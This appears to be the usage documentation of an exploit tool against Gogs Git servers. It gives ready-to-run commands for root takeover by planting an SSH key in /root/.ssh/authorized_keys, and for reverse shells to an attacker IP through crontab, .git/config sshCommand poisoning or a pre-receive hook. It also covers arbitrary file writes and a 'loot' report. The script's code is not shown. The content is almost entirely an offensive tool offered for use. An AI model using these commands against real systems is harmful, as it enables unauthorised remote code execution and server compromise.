# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only

# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

target                  Gogs base URL (e.g. http://target:3000)

Authentication:
  -u, --user            Gogs username
  -p, --password        Gogs password

RCE Strategies:
  --rce-keys PUBKEY     Plant SSH pubkey → /root/.ssh/authorized_keys
  --rce-cron            Reverse shell → /etc/crontab
  --rce-ssh             Poison .git/config sshCommand + trigger
  --rce-hook            Overwrite pre-receive hook + trigger
  --write               Generic arbitrary file write

Connection / Payload:
  --lhost LHOST         Attacker IP for reverse shell
  --lport LPORT         Attacker port for reverse shell
  --target-file PATH    Server path to overwrite (--write mode)
  --content STRING      Content to write
  --content-file FILE   Local file to write

Options:
  --repo NAME           Repository name (default: random)
  --cleanup             Delete exploit repo after completion
  -o, --output FILE     Report file (default: loot.json)
  --timeout SECONDS     Request timeout (default: 15)
  --proxy URL           HTTP proxy for debugging
  --check-only          Only check if target is Gogs, don't exploit